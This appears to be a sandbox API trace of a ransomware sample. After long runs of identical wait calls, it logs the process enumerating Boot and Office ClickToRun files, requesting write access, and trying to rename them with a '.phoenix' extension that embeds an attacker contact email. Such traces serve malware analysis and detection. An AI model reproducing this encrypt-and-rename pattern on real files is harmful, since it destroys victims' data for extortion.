	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.784] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.785] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.786] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.787] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.788] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.789] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.790] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.790] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.790] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.790] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.790] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.790] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.790] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0213.126] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.126] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0213.244] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=4662) returned 1
	[0213.244] CloseHandle (hObject=0x520) returned 1
	[0213.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0213.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.244] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.729] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.729] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.730] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=1083027) returned 1
	[0213.730] CloseHandle (hObject=0x548) returned 1
	[0213.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat")) returned 0x80
	[0213.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.732] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.733] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.733] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0213.734] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=4590407) returned 1
	[0213.734] CloseHandle (hObject=0x528) returned 1
	[0213.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat")) returned 0x80
	[0213.734] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0213.735] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat")) returned 0
	[0213.737] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.737] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.740] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=37360) returned 1
	[0213.740] CloseHandle (hObject=0x534) returned 1
	[0213.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.741] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.743] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.743] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.747] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=2042) returned 1
	[0213.747] CloseHandle (hObject=0x534) returned 1
	[0213.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml")) returned 0x20
	[0213.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.747] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.748] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.748] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.748] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=9818) returned 1
	[0213.748] CloseHandle (hObject=0x534) returned 1
	[0213.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml")) returned 0x20
	[0213.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.748] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.748] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.748] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0213.752] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=236956) returned 1
	[0213.752] CloseHandle (hObject=0x528) returned 1
	[0213.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.756] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.756] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.757] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=104348) returned 1
	[0213.757] CloseHandle (hObject=0x534) returned 1
	[0213.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.757] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.758] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.758] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0213.758] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=23444) returned 1
	[0213.758] CloseHandle (hObject=0x528) returned 1
	[0213.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml")) returned 0x20
	[0213.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.759] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.759] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.759] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.762] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=27466) returned 1
	[0213.762] CloseHandle (hObject=0x534) returned 1
